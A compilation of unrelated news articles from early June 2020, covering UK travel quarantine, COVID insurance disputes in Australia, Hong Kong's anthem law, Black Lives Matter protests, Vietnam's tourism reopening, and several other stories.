His Greek counterpart Haris Theoharis was quoted as saying as long as Britain's coronavirus rate remained comparatively high, travellers from most UK airports faced mandatory tests for Covid-19 and quarantine of seven days even if they were found to be clear of the virus.

And Spain, while ruling out 'tit-for-tat' quarantine measures, said the right of entry would partly depend on a country's 'epidemiological situation'.

From next week, people coming into the UK from abroad will have to quarantine for 14 days to stop the spread of coronavirus.

UK is facing a backlash to EU quarantine plans The UK is reportedly facing a backlash from European nations over its planned quarantine on visitors entering the country. France, Germany, Greece and Spain will place restrictions on British visitors entering their countries as they reopen from lockdowns unless the UK scraps its quarantine or its coronavirus infection rates decrease, according to the Telegraph. Meanwhile, the European Commission is calling on EU member states to lift all border checks within the bloc by the end of June, Home Affairs Commissioner Ylva Johansson told Euronews. French tourism minister Jean-Baptiste Lemoyne said his country would impose a 14-day quarantine on UK visitors if Britain proceeds with its quarantine plan on Monday according to the Daily Telegraph, although he added France plans to open its borders to other EU nations on June 15. Germany's foreign minister Heiko Maas said he would be 'strongly advising' against travel to Britain due to its quarantine - just as his country lifts its travel restrictions for 30 other European nationalities from June 15. His Greek counterpart Haris Theoharis was quoted as saying as long as Britain's coronavirus rate remained comparatively high, travellers from most UK airports faced mandatory tests for Covid-19 and quarantine of seven days even if they were found to be clear of the virus. And Spain, while ruling out 'tit-for-tat' quarantine measures, said the right of entry would partly depend on a country's 'epidemiological situation'. Advertisement

But with business chiefs warning this will wreck the travel and hospitality industry, the Prime Minister is pushing for quarantine-free 'travel corridors' or air bridges to popular destinations.

These would allow British families to go abroad and foreign tourists to come here.

A Downing Street source said: 'We will be guided by the science, but the PM does not want to be standing in the way of people's holidays unnecessarily.'

Portugal's foreign minister Augusto Santos Silva revealed he is in discussions with the UK about forming an air bridge so tourists can avoid quarantine.

He added: 'During these weeks our diplomats will work together in order to guarantee that British tourists coming to Portugal would not be subjected on their return to England to any kind of quarantine.'

Ministers are also looking at whether to test travellers on their arrival in the UK  removing the need for automatic self-isolation.

The 14-day quarantine scheme will be reviewed on June 29 to see whether low case numbers in some destinations might allow the measures to be relaxed on a country-by-country basis.

Leading travel operators still fear they will have to lay off 60 per cent of their staff, however.

The news came as it emerged that nearly every country popular with Britons as a summer holiday destination has a lower coronavirus infection rate than the UK.

The UK currently has more cases of coronavirus per million people than most of the 15 most popular holiday destinations for Britons.

Only the US and Portugal have a higher infection rate with places like France, Spain, Greece and Italy all drastically lower than Britain.

The data is sure to fuel the anger of opponents of the quarantine, after some 124 chief executive and owners of businesses worth a combined 5billion said they expect to make up to 60 per cent of their staff redundant if the scheme goes ahead.

Health Secretary Matt Hancock said this week he was growing 'more optimistic' about the prospect of Britons taking holidays abroad this year.

Despite the potential news of a relaxation of the quarantine rules later in the month, the Home Secretary intends to push full steam ahead with the plan.

But the PM has been told to drops the plans to avoid a 'catastrophic' hammer blow to the tourism and hospitality industries.

MPs also branded the curbs 'ridiculous' and 'pointless' after it emerged people will be allowed to pop out for food, only a fifth face spot checks, and officials will not be allowed to enter their homes.
Source: Xinhua| 2020-06-05 15:50:49|Editor: huaxia

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VIENNA, June 5 (Xinhua) -- The Organization of the Petroleum Exporting Countries' (OPEC) daily basket price stood at 34.84 U.S. dollars a barrel on Thursday, compared with 35.46 dollars on Wednesday, according to OPEC Secretariat calculations released on Friday.

Also known as the OPEC reference basket of crude oil, the OPEC basket, a weighted average of oil prices from different OPEC members around the world, is used as an important benchmark for crude oil prices. Enditem
Berrill believes if it is contested, insurers will fail. "Insurers might argue that the intent of the exclusion was to cover the current COVID-19 pandemic but as a matter of insurance law, this argument is likely to fail because the wording is explicit and clear," Berrill said. His view is supported by a growing number of people in the industry. It would be extraordinary for banks to have billions of dollars of bad debts ... from COVID- 19... and insurers avoid material claims costs. Brett Le Mesurier It has prompted some policyholders that have had their claims rejected to lodge a complaint with the Australian Financial Complaints Authority (AFCA). Some have engaged lawyers. One litigation funder is considering a class action.

Loading An industry insider who asked to remain anonymous said lawyers inside insurance companies were privately saying it would end up in the courts and if they lost they would appeal the decision. "This is clearly big enough for them to behave this way," the insider said. Insurance analyst Brett Le Mesurier at Shaw and Partners said it was an issue he was watching closely. "It would be extraordinary for banks to have billions of dollars of bad debts as a result of the effects of COVID-19 and yet the insurers are able to avoid material claims costs," he said. "If that is the case it says much about the social contract between insurers and their customers or rather the lack of it." Mark Waller, a partner at law firm Clayton Utz, said he had been advising a number of clients on business interruption policies that contained exclusions for "quarantinable diseases under the Quarantine Act 1908 and subsequent amendments". He said the Parliamentary Act was repealed in 2016 and COVID-19 was not a "quarantinable" disease under that Act, therefore the claims should be covered.

He said disputed claims over $1 million would be fought in the courts and likely be challenged through the appeal courts. "It means disputes could drag on for many years," he said. Waller said a better way for those insurers whose policies didnt clearly exclude COVID-19 would be to set up a remediation process to seek to negotiate and resolve claims without litigation. "It could be a quasi AFCA for claims over $1 million and similar to remediation processes that AFSL [Australian financial services licence] holders are required by law to have in place," he said. Where are the regulators here? We are months and months behind the UK. An insurance industry insider. In Britain the regulator, the Financial Conduct Authority (FCA), understood there was an issue and instead of leaving it to individuals to battle it out in the courts it decided to intervene by going to court to seek clarification on whether insurers policies allowed them to refuse business claims related to the pandemic. It picked eight insurers including QBE as the defendants and will look at 17 policy wordings. The case is set for next month.

Loading The FCA began the process by asking more than 50 insurers to provide information by May 1. It prompted a number of them to admit they were liable and to accept claims from policyholders, after previously arguing they werent liable. One industry insider said: "Where are the regulators here? We are months and months behind the UK." The Australian Prudential Regulation Authority and ASIC said they were monitoring the situation. ASIC said it was working with AFCA, APRA and Treasury to "fully understand the complex problem and how best to resolve uncertainty for business and insurers". AFCA said its role was to assess individual cases. However, under AFCA rules a financial firm could also apply for a test case where a significant issue or point of law arises. It said it had received a request relating to business interruption and was in discussions to approve the issues that would form part of a test case. This includes issues of interpretation and construction of some of the policies and exclusions.
CADILLAC, MI  First responders were called to an airplane crashed at Wexford County Airport around 7 p.m. on Thursday, June 4.

A single-engine, fixed-wing float plane crashed in the grass south of the airport runway, authorities said. The pilot, a 49-year-old Pierson man, was able exit the plane on his own and was in the hangar when police, fire and EMS personnel arrived.

The plane was being towed to take off on the runway when the incident occurred, authorities said. As the airplane began to lift, it is believed that it drifted into one of the trailer tires, which caused a loss of control resulting in the crash on the grass.

The pilot was transported to Munson Hospital in Cadillac for non-life-threatening injuries, authorities said.

Responding to the incident were Cadillac Police Department, Cadillac Fire Department and Northflight EMS.

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Workers take down a Belt and Road Forum panel outside the venue of the forum in Beijing on April 27, 2019. (Greg Baker/AFP via Getty Images)

2016 Parliamentary Briefing Book Warned MPs of Chinas Bigger Strategic Belt and Road Agenda

The broader strategic aims of Chinas Belt and Road program and the communist nations predatory expansion ambitions should be no surprise to any Australian member of Parliament since its risks were included in a Parliamentary Briefing Book published in 2016.

Designed to familiarise newly elected members of the Australian Parliament and Senate on government policy, the briefing book also alerts MPs to international issues that could pose a risk to Australias national interests.

Included in the 45th issue of the briefing book is a report on Belt and Road written by Geoff Wade, a visiting fellow from the Australian National University.

Wade outlined the risks around Belt and Road, noting that China has been criticised for using its massive financial assets to dominate smaller economies and to gain long-term economic and physical control over geographical regions.

Belt and Road is an Economic and Military Strategy

Alerting MPs to the phenomenon of circular lending, the brief spoke about how the Chinese Communist Party (CCP) uses Belt and Road projects to fund state-owned businesses.

This means the CCP essentially funnells loans back into Chinese firms and leaves partner countries to pay high amounts of interest without the benefits of the fiscal stimulus to the economy.

When countries debts then become too much for them to repay China uses this as leverage to gain long-term control over infrastructure, natural resources, and land in countries that the CCP wants for its economic and military interests.

According to Wade, It has been repeatedly noted in China that OBOR (One Belt One Road) is also intended as a regional security mechanism, and the future role of the Peoples Liberation Army in protecting Chinas OBOR facilities abroad has been widely discussed.

The brief states that the CCP portrays Belt and Road as a way to support its claims in the South China Sea where it is attempting a militarised land grab. It is also working to secure strategic control over shipping in the Indian Ocean.

A Chinese coast guard ship (back) sails next to a Vietnamese coast guard vessel (front) near Chinas oil drilling rig in disputed waters in the South China Sea on May 14, 2014. (Hoang Dinh Nam/AFP via Getty Images

Australia More Cautious About Chinese Investment

Advising Australia to maintain a close watch on the Belt and Road Initiative around the world, the 2016 Parliamentary Briefing Book suggested that Australia take a more cautious approach to the Australia-China economic relationship.

Since 2016, the federal government has blocked six Chinese investment bids for being against Australias national interest.

On Sep.19 2019, Reuters reported that from 2016-2019 the government blocked Chinese led investment into Australian beef production, the electricity grid, natural gas, and Huaweis bid for the 5G network.

On April 27, 2020, the Australian Financial Review reported that Treasurer Josh Frydenberg had blocked a $14.1 million investment in Australias AVZ Minerals Lithium and Tin project and a $20 million stake in Northern Minerals rare earth project in Western Australia.

The Karratha Gas Plant in Australia is seen in this undated handout photo. (Woodside/Handout via Reuters)
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Linkedin Earle Gale (China Daily/Asia News Network) London, United Kingdom  Fri, June 5, 2020 14:30 595 fc6853813033f564188675f8bdc67d81 2 World Britain,Britain-Exit,Brexit,German-national,citizenship,naturalization Free

There has been a sharp rise in the number of British people acquiring German citizenship, something experts link to the United Kingdom's exit from the European Union.

Destatis, Germany's federal statistical office, said in a data release on Wednesday that the nation granted a total of 128,900 naturalized citizenships in 2019, 15 percent more than in 2018.

Of that total, 14,600 naturalized citizenships went to Britons, which was 2,300 percent more than the 600 granted to Britons in 2015, the year before the UK voted in a referendum to leave the EU.

The Guardian newspaper said the number of German citizenships granted to Britons last year was the largest for 16 years.

Daniel Tetlow, co-founder of the British in Germany association, told the paper there is little doubt Brexit triggered the clamoring for German passports.

"Of those Brits that have managed to get a German passport, all of them reported Brexit as a key motivation," said Tetlow, who co-authored a report on Brexit and migration patterns along with the Oxford in Berlin research partnership and the Berlin Social Science Centre.

"For most of the people we spoke with, it didn't mean any kind of rejection of Britishness but more the compliment of being British European," he said. "And it's a plain insurance policy, a no-brainer for Britons who have their livelihoods here and want to continue to have the rights and freedoms that come with an EU passport."

Since the UK's decision to leave the EU in 2016, a total of 31,600 Britons have acquired German citizenship, the country's office for statistics added.

Most Britons have elected to keep their UK passports, something that has been possible in the past but that will end for people acquiring citizenship after the transition period closes on Dec 31, when the UK ceases to follow EU rules and conventions.

Foreign nationals must live in Germany for eight years before they can apply for citizenship.

Tetlow said German immigration offices had been "committing more staff to deal specifically with British applications".

The Reuters news agency said Britons have been seeking EU passports as the clock ticks down to the end of the transitional period because they want to hang onto the right to freedom of movement within the EU, and the right to work in any member state.

As Europe's biggest economy, Germany has long been popular with Britons because of the opportunities it presents.
China's Ministry of Ecology and Environment unveiled a pair of environmental protection mascots in Beijing today to celebrate this years World Environment Day, which fell on the same day.

Xiaoshan (left ) and Xiaoshui

The two cartoon characters named Xiaoshan and Xiaoshui were inspired by green mountains and lucid waters, respectively, and shows that green mountains and lucid waters are invaluable assets.

A green leaf and clouds can be seen on Xiaoshan, symbolizing green development and harmony, while a flower and wave on Xiaoshui are seen as symbolic of purity and beauty.

The mascots represent the fact that every person is a protector, contributor, and beneficiary of the environment, and that people must protect this planet and cherish nature the way they cherish life.

The unveiling of these mascots was the culmination of a competition between more than 2,400 candidates that started last November.

These environmental protection mascots, launched by China for the first time, can be used free of charge for environmental protection activities for the public interest.
Angela Bains. Kestin Cornwall. Kathy Moscou. Michael Lee Poy. Marton Robinson.

These are the five Black artists and design experts who are now professors at OCAD University.

It brings real tears of joy to welcome these five Black faculty members to OCAD University and address the faculty of designs 144 years of Black underrepresentation, said Dean Dori Tunstall, who is the first Black woman in the world to hold such a position. The five are the first Black profs in her faculty.

The overwhelming support of the Black communities in sharing the call and applying to the positions was crucial in making this Black cluster hire a success.

In a statement, OCAD President Sara Diamond said while the tenure-track positions have been in the works for some time, they are also timely and fit in with the universitys overall long-term equity plan to decolonize its curriculum and policies. They are also a nod to the UNs International Decade for People of African Descent.

This is an important announcement within todays context, given recent anti-Black racism protests and events, Diamond said. It shows how OCAD University is working towards structural change and to find ways to address the long-standing underrepresentation of Black faculty at our university.

The new hires bring the total of faculty who self-identify as black to 10, out of 183.

In a telephone interview, Tunstall said OCAD U  formerly known as the Ontario College of Art and Design  began the process after a similar, successful outreach to the Indigenous community more than two years ago.

The professors were brought in under a special program of the human rights code which allows for targeted hiring to address inequality.

Tunstall said the idea was based on the success of the Indigenous outreach, and a few retirements made a group hire possible.

The thinking was its been too long  lets make it happen, she said, adding that OCAD students have been really strong advocates for wanting to have more Black representation in the faculty.

While faculty on the tenure-track are diverse, she said, so too is the student body, and there is a gap  especially when it comes to the cultural needs and knowledge to help with projects Black students want to do.

Hiring a small group is really the most effective way to combat tokenization, Tunstall said. When you hire individually, its hard to retain diverse faculty because we learned from the Indigenous cluster hire that having a critical mass  (means having professors) who dont get burned out in terms of the service they are able to provide, they dont get burnt out by all the mentoring they are expected to do, they dont get burnt out because you have enough people in the community to share the work  to share the committee work, to share the mentoring work and support one another, she added.

Tunstall said recruitment for the latest hire took time  there are few Black professional designers  but she used her connections in the design community and online listservs and whenever I would encounter a Black person in the community who said they were a designer, I made sure I had their contact information.

Cornwall is an artist and illustrator who attended Sheridan College who also works on modern digital reproduction and screen-printing. He volunteers his time to help younger artists and is also active in community events. He said Tunstalls work is inspiring as is OCADs equity plan.

The advantage of hiring a group of five is that we have a shared common goal, and we can see things from a similar perspective  but also different perspectives because Im from Toronto and others are from other parts of the country or the world, Cornwall said.

That right there is a benefit because there is always more than one view of Blackness.

Moscou is an artist who has a doctorate in pharmacological sciences and global health currently an adjunct professor at Brock University. Her work has been exhibited across the country, including Torontos Royal Ontario Museum.

I was thrilled to see that there was an institution actively seeking to acknowledge the lived experiences of Black people and peoples of colour, she said.

She considers OCAD a trailblazer for inclusive education and in dismantling institutional racism.

Bains is an award-winning teacher at the British Columbia Institute of Technology who founded the design firm TransformExp.

Lee Poy is an artist, activist and architect in Trinidad who has taught at the University of the West Indies.

Robinson has studied physical education and art/visual communication and focuses on the Afro-Latino experience in his art.

Kristin Rushowy is a Toronto-based reporter covering Ontario politics for the Star. Follow her on Twitter: @krushowy
Hong Kong citizens defied a police ban to mark the 31st anniversary of the Tiananmen massacre as the citys legislature passed a law criminalising mockery of Chinas national anthem. The International Federation of Journalists (IFJ) today expressed its ongoing concern for the future of freedom of expression in Hong Kong as legislative controls continue to tighten Chinas grip.

It was the first time that Hong Kong banned a vigil to mark the anniversary, primarily under the guise of Covid-19 controls. Thousands of Hong Kongers proceeded with the vigil on June 4 at Victoria Park in Causeway Bay, under police surveillance.

After passing through Hong Kongs Legislative Council yesterday, the controversial National Anthem Bill is set to take effect on June 12. The law prohibits insult or misuse of the Chinese national anthem with fines of up to HKD 50,000 (USD 6,450) and/or three years in jail.

Critics of the law say it will endanger freedom of expression in Hong Kong leaving it to government discretion to decide what is considered respectful. The anthem, March of the Volunteers, was written by Tian Han, who was jailed for political activism in the 1930s when he was inspired by the opening lines Arise, you who refuse to be slaves.

The passing of the anthem law coincided with moves by Beijing and Hong Kongs chief executive, Carrie Lam , to force through sweeping national security rules in a bid to stamp out Hong Kongs anti-government protests, which started a year ago. The proposed National Security Law will punish acts and activities that threaten national security, including secession, subversion and terrorism and foreign interference.

The IFJ said: Since protests began in Hong Kong a year ago, the people of Hong Kong have stood up against what they see as an erosion of their fundamental freedoms and democracy. The IFJ urges the government of Hong Kong and Carrie Lam to consider carefully any moves that will risk the individual freedoms and democracy that makes Hong Kong an important economic and global player. Any move to implement the proposed national security legislation would be in direct conflict with Chinas obligations under the joint declaration for Hong Kong, a legally binding treaty registered with the United Nations.
B ritish police must respond to real and growing concerns about racism within their forces, the head of the police watchdog has said.

The comments from Michael Lockwood, the director general of the Independent Office for Police Conduct (IOPC), came as thousands of demonstrators gathered in Birmingham to protest over the death of 46-year-old African American George Floyd in Minneapolis.

Writing for the Independent on Thursday, Mr Lockwood said it was incumbent on the wider police service to listen and respond to the concerns being raised.

Right now, communities in the UK are expressing real and growing concerns about disproportionality, he added.

A protester in Trafalgar Square today / PA

Mr Lockwood added that the IOPC, which oversees complaints made against forces in England and Wales, had highlighted heightened concerns a fortnight ago about officers' use of Taser and was now receiving complaints regarding other policing measures, too.

"We are also hearing concerns about stop and search and, most recently, fines issued during lockdown being disproportionate to black people," he said.

There must be more research to understand issues of disproportionality, as well as assurance and scrutiny around tactics like use of force and stop and search."

He went on: "Police officers have significant powers that can impact on peoples liberty and lives.

"In the UK, our model of policing is based on consent. With this must come accountability. It is vital that the public have confidence that those powers are not abused."

Police scuffle with anti-racism protesters in Westminster 1 /32 Police scuffle with anti-racism protesters in Westminster A protestor kneels in front of police officers in riot hemlets as he appeals for calm to his fellow protestors AFP via Getty Images Police officers in riot helmets walk along Whitehall AFP via Getty Images Police officers in riot helmets walk along Whitehall AFP via Getty Images Police officers in riot helmets reacts as protestors attempt to stop a police van leaving AFP via Getty Images Police officers in riot helmets reacts as protestors attempt to stop a police van leaving AFP via Getty Images Jeremy Selwyn Jeremy Selwyn Jeremy Selwyn Jeremy Selwyn Jeremy Selwyn Protestors scuffle with Police officers near the entrance to Downing Street AFP via Getty Images Protesters and police officers clash near Downing Street Reuters Police officers react after protestors pushed through barriers AFP via Getty Images Officers attempt to detain a protester AFP via Getty Images Protesters interact with police officers near Downing Street in London AP Protesters sit on what appears to be a vandalised van next to the Cenotaph Getty Images Police officers detain a protester following a clash near Downing Street during a "Black Lives Matter" protes Reuters Police officers detain a protester following a clash near Downing Street during a "Black Lives Matter" protes Reuters Officers attempt to detain a protester AFP via Getty Images Protesters are held back by police Getty Images Police officers react as an orange peel is thrown at them AFP via Getty Images Protesters are faced by a line of police AP A protester wearing a t-shirt with fake blood Getty Images Officers attempt to detain protesters AFP via Getty Images

Separately on Thursday some 4,000 loud and passionate protesters gathered in Birmingham as part of a Black Lives Matter (BLM) demonstration, following protests in London the day before.

Protesters in Birmingham on Thursday afternoon made their voices clearly heard, police said, but there were no arrests and no disorder.

Crowds gathered in the citys Centenary Square, where a silence was observed in memory of Mr Floyd, who died after a white officer held him down by pressing a knee into his neck in Minneapolis on May 25.

Hs death has sparked mass and widespread protest in cities throughout the United States.

Demonstrators, many wearing protective face masks, had been due to congregate in nearby Victoria Square but moved to the larger area to aid social distancing.

Several hundred people then headed to an area outside West Midlands Polices Lloyd House HQ, where many of them knelt or sat in the road with their fists raised.

Over the past month the IOPC has begun nine investigations into West Midlands Police connected to alleged excessive use of force on black men following six separate incidents. Two officers have meanwhile been suspended.

Mourners honour George Floyd

The demonstration in Birmingham came after pockets of protesters clashed with police as thousands of people flooded into central London and abandoned social distancing for a BLM demonstration on Wednesday.

After a largely peaceful demonstration in Hyde Park, during which Star Wars actor John Boyega gave an impassioned speech, tensions later escalated outside Downing Street.

The Metropolitan Police said 13 people were arrested during the protests, which ran into the early hours of Thursday morning.
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Phu Quoc Island off the southern province of Kien Giang is poised to resume allowing international tourists to visit as Vietnam continues to see success in containing the novel coronavirus disease (COVID-19) outbreak.

Deputy Minister of Culture, Sports, and Tourism Trinh Thi Thuy told Tuoi Tre (Youth) newspaper in a recent interview that the ministry is mulling over steps to open its doors to foreign visitors to several islands, particularly Phu Quoc.

The move is intended to get the countrys struggling tourism back on track, Thuy said, adding that steps are currently being taken to boost domestic tourism and welcome foreign tourists.

We have controlled the outbreak well, so domestic tourism should be restructured. We are reaching a new stage and, given the recent restart of the domestic tourism market, we are producing positive outcomes, she said.

The second stage in restarting the countrys tourist industry, according to the deputy minister, is reopening borders to countries that have successfully curbed the spread of the virus and are no longer reporting cases of community transmission.

Well focus on nations that have bilateral cooperation programs related to tourism exchanges with Vietnam, Thuy said.

She also revealed that Vietnam could create a travel bubble with Southeast and Northeast Asian countries, including China, Japan, and South Korea, as well as several high-spending tourism markets, such as Australia and New Zealand, in order to prevent the disease from resurging in the country.

Such a plan is still pending an official proposal and subsequent approval by the central government.

Tourists pose for photos on Hon May Rut (May Rut Island), part of Phu Quoc Island off the southern province of Kien Giang, Vietnam. Photo: Quang Dinh / Tuoi Tre

Phu Quoc Island will be the guinea pig for the idea, Thuy said, adding that the ministry will team up with tourism associations, industry businesses, and provincial authorities to prepare a necessary protocol for welcoming international tourists.

Notably, the ministry will collaborate with the Ministry of Transport in holding talks with national carrier Vietnam Airlines, budget carrier Vietjet, and other overseas airlines to allow the gradual resumption of international flights.

Meanwhile, the Ministry of Foreign Affairs and the Ministry of Public Security will work together to reissue visas to foreign nationals.

Thuy stressed that opening borders, specifically Phu Quocs, can only happen if all parties involved comply with regulations on disease prevention and control.

Her ministry, she said, will cooperate with the Ministry of Health to lay down a set of relevant criteria for incoming travelers.

The deputy minister declined to give a specific timeframe for the pilot scheme.

We will only open our doors to international visitors to Vietnam, initially to its islands, when we meet necessary conditions for the sake of the peoples safety and health. That is a top priority, she noted.

Tourists walk along Bai Khem, one of the most beautiful beaches on Phu Quoc Island off Kien Giang Province, Vietnam. Photo: K.Nam / Tuoi Tre

Phu Quoc ready to welcome foreign visitors

Tran Chi Dung, director of Kien Giang Provinces tourism department, told Tuoi Tre that Prime Minister Nguyen Xuan Phuc has introduced a visa exemption scheme for foreigners visiting the island, effective from July 1.

The scheme gives a significant procedural advantage, creating psychological comfort among tourists, said Dung.

He predicted that the central government will give Kien Giang Province the go-ahead to bring international tourists back toward the end of this year.

The general principle is to be prepared for measures to control and prevent community transmission [of COVID-19] from tourists, he said.

Thu Tam, who owns a seafood stall in the Phu Quoc night market, said the absence of European tourists has led to change in the islands atmosphere.

Foreign visitors spend a similar amount of money to domestic tourists, but they make the night market much more lively, she said.

Nguyen Thuc Giap, the owner of a grilled food stall in Duong Dong Town, said that when the virus emerged, he and his fellow residents became highly anxious.

The climate is warm on the island. The government has controlled the outbreak well, so I expect [authorities] to resume international flights as soon as possible to bring back foreign visitors for us to do business, he said.

All the quarantine systems are operational at Phu Quoc International Airport, according to its director Nguyen Minh Dong.

He said remote body temperature monitoring devices, quick COVID-19 testing systems, temporary isolation wards, and ambulances are available while heath workers stand ready at the airdrome.

Once the government gives permission, the airport will prepare to welcome international tourists to the pearl island, Dong said.

Foreign visitors visit a food stall at the Phu Quoc night market on Phu Quoc Island off Kien Giang Province, Vietnam. Photo: Quang Dinh / Tuoi Tre

Around 12,000 tourists visit Phu Quoc daily

As the COVID-19 outbreak weakened in Vietnam, authorities in the district of Phu Quoc, which administers Phu Quoc Island, urged those firms in the local tourism sector to refurbish their facilities and take environmental sanitation measures, said the districts vice-chairman Nguyen Van Nghiep.

Nghiep added the food court at the Phu Quoc night market reopened its doors nearly a month ago and has been bustling ever since.

Local hotels and resorts have recovered their revenues, compared with the pre-pandemic period. The average room occupancy has amounted to 70 percent or more.

The island currently accommodates around 12,000 visitors, including about 8,000 arriving by air, per day.

Vietnam reported no new COVID-19 cases on Friday, with less than eight percent of the 328 patients remaining in treatment.

The Southeast Asian nation has reported no community transmission for the past 50 days, according to the Ministry of Health.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!
The last fortnight has been a momentous one for the Black Lives Matter movement.

While signing petitions and making charitable donations is of paramount importance, one of the best ways to support all the incredible black creatives and designers out there is to put your money where your mouth is.

There's an amazing roster of black design talent out there creating beautiful products. Here are the items I'm adding to my basket this week.

Oma the Label

Kate bodysuit, 62, OMA The Label. Buy now

OMA is a womenswear label founded by New Yorker Neumi Anekhe that focuses on high end tops and bodysuits in flattering shapes and interesting cuts.

I personally have fallen for the square neck high-leg loveliness of the Kate style, which would look amazing tucked into boyish, high-waisted denim paired with strappy sandals and chunky gold bling.

Mateo NYC

14K Gold Diamond Frame Crystal Quartz Secret Diamond Initial ring, 1830, Mateo NYC. Buy now

Moving to New York aged 16 to study for a degree in hospitality, Jamaican-born Matthew Harris discovered a passion for jewellery-making. The self-taught designer and 2017 CFDA/Vogue Fashion Fund Finalist launched his brand Mateo in 2009 with a focus on men's jewellery, before repositioning the business to focus solely on womens fine jewellery in 2014. Drawing inspiration from modern art, each piece is made from 14 carat gold with a consistent use of diamonds and precious gemstones.

I am totally obsessed with the unapologetic blinginess of this diamond encrusted alphabet ring, which comes with an array of letters. Id wear it with jeans and a sharp tuxedo jacket on days when I need to feel powerful.

Brother Vellies

Woven Olivia pump, 627, Brother Vellies. Buy now

Toronto-native and New York City-transplant Aurora James worked in fashion for several years before starting Brother Vellies 2013 with the goal of keeping traditional African design practices and techniques alive while also creating and sustaining artisanal jobs. Now sold in outlets all over the world, Brother Vellies creates luxury accessories that celebrate African cultural histories and timeless design. The brand uses some eco-friendly and upcycled materials, makes products by hand to reduce its climate impact and partners with independent artisans in Africa and ensures payment of a living wage in its supply chain.

These chain-embellished woven pumps would look equally as good paired with boho floaty maxi dresses as they would with cropped suit trousers and short suits once were back in the office.

Tongoro Studio

Birima dress, 200, Tongoro Studio. Buy now

Founded in 2016 by Sarah Diouf, Tongoro is a 100 per cent made in Africa label that sources materials on the continent and works with Senegalese tailors to make beautiful womenswear promoting African craftsmanship on the world stage. Beyonces a big fan, and even chose to wear the brand in the video for her song Spirit.

Personally Ive got my eye on their stunning cotton devore gown, which comes with two groin-high thigh splits at the front to perfectly offset the otherwise beautifully pure and chaste vibe.

Jade Swim

Evolve one-shouldered swimsuit, 165, Jade Swim. Buy now

Designed in New York and made in LA, fashion editor Brittany Kozerskis swimwear line was launched in 2016. The sleek silhouettes are crafted in Italian fabrics with shape retention technology to smooth and sculpt the body. The result is swimwear combining luxury finishes with technical performance.

Not only am I massively into this shade of pale acidic green, but one-shouldered swimsuits are one of the major swimwear trends for summer 2020. This ones going straight in my basket.

Lisou

Lucille Metallic Mango Heart Jacquard Jacket, 415, Lisou. Buy now

Tanzanian-born, London-based designer Rene Macdonald moved to the UK at a young age and has travelled back and forth to Africa where her family were based, a place that continues to influence and inspire her. The Lisou collection is full of wearable, classic shapes with a modern twist made from the finest silks. All prints are designed in-house by Rene, which makes every Lisou print exclusive. The brand donates the proceeds from one piece per collection directly to helping young Africans with medical and educational needs.

This belted orange heart print jacquard jacket is pure joy. It would look great paired with creamy-coloured wide leg denim, or the matching heart-print jacquard trousers for days when I'm feeling particularly punchy.

Tove Studio

Remi trousers in ivory, 425, Tove studio. Buy now

Founded by friends and Topshop alum Camille Perry (Head of Buying) and Holly Wright (Head of Design) in 2019, Tove is a London-based label making timeless classics from quality fabrics and in a muted palette. Heavy on silks and organic cottons, theirs are hardworking modern classics.

Every summer wardrobe is in need of a great pair of white trousers, and these beautiful crinkle silk trousers come with a straight leg silhouette that pools beautifully at the ankle. Chic doesnt even begin to cover it.

Xou Zou

Lagos sandal in platino, 117, Zou Xou. Buy now

New York designer Katherine Theobalds founded Zou Xou in 2015 after finding herself disillusioned with the lack of originality, toxic culture, detachment from craft, and excess of waste she saw at most of the fashion labels she worked for. All the shoes are hand made in very small batches in Buenos Aires by artisans who negotiate their own wages, set their own hours, and work in a safe and sanitary environment.

Many of her styles are made to order, but Ive got my eye on this pair of super versatile and flattering gold flats, which will go with everything in my summer wardrobe, and ship instantly.

Victor Glemaud

Cropped Lettuce Edge Merino Wool Tank Top, 138, Victor Glemaud. Buy now

Haitian-born designer Victor Glemaud launched his eponymous leisurewear collection of statement knitwear, designed for all people, genders, races, sizes and personalities, in 2006. A finalist in the 2017 CFDA/Vogue Fashion Fund, Glemauds brand has been worn by everyone from Ashley Graham to Hailey Baldwin and Selena Gomez.

This cropped, square-neck woollen top is a seriously versatile summer staple with the power to elevate many a summery ensemble.

Its Rooper

Fuchsia furoshiki bag, Rooper. Buy now

Natasha Fernandes Anjo (Roop to her friends) uses vintage, leftover, damaged or deadstock fabrics sourced from fabric shops that sell offcuts and factory seconds, eBay and charity shops to make her dinky little jewel toned Furoshiki bags.

Furoshiki are a type of traditional Japanese wrapping cloth used to transport clothes, gifts, or other goods. The bags are inspired by this, made with four knots and a signature scrunchie strap that makes them bounce as you walk. Natasha makes all the bags from herself.

I just love the total originality of Anjo's scrunchie-like designs and plan on investing in this gorgeous fuchsia number when her next sale of limited runs goes live on June 10.

Ashya

Passport book in silver and lime, 150, Ashya. Buy now

Established in 2017 by co-founders Ashley Cimone and Moya Annece, ASHYA (pronounced agh-shya) is a New Yorkbased label that makes unisex travel accessories. The brand, which recently won the 2018-2019 Council of Fashion Designers of America, Inc. (CFDA) and Accessories Council Elaine Gold Launch Pad Fellowship, is focussed on diversifying cultural perspectives through broadly researched narratives and design.

As someone forever losing my belongings, a passport holder is a necessity. This gorgeous lime stitched silver leather number is handmade in New York and, once we are permitted to fly again, will make my trip all the more fabulous.
(@ChaudhryMAli88)

BUENOS AIRES (UrduPoint News / Sputnik - 05th June, 2020) The Russian Embassy in Chile told Sputnik that it had received a false bombing threat via an email, following similar incidents in the Russian diplomatic missions in Brazil and Argentina.

On Thursday, the bombing threat was received by the Russian Embassy in Buenos Aires.

The Argentine police have found no explosives in the building. On Monday, a similar threat was received by the Russian Embassy in Brazil, but no bombs have been found.

"The message was received in the afternoon on Thursday via an email. It turned out to be false," press attache of the Russian diplomatic mission in Chile Denis Vinokurov said.

It remains unknown, who stands behind the false bombing threats.
TORRINGTON  Wearing masks has become a symbol of the coronavirus pandemic, but not everyone believes theyre necessary  or safe.

The owner of Nirvana Juice Bar on East Main Street recently posted a message on her Facebook page saying she was not requiring customers to wear masks in the business, and that because of a health problem, shes not required to wear one, either.

Yes we do have a sign that says mask free zone, the post reads.

Emily M. Olson / Hearst Connecticut Media

But Tom Stansfield, deputy director of the Torrington Area Health District, said he had resolved the issue with Nirvana, as well as other businesses frustrated by the mask requirement. In Nirvanas case, it means telling her to deliver the product outside,

Weve worked very closely with several establishments to give them guidance during these difficult times, Stansfield said.

At the juice bar, the owner was made aware of the guidance were giving people, to wear masks whenever they can, he said. The mandate is that food service businesses must wear masks ... but in her case, I think weve resolved it by telling her that she can deliver to people with masks outside the establishment.

The owner, who would only identify herself as Rosemary, said Thursday that there are plenty of other things more concerning than making people wear masks.

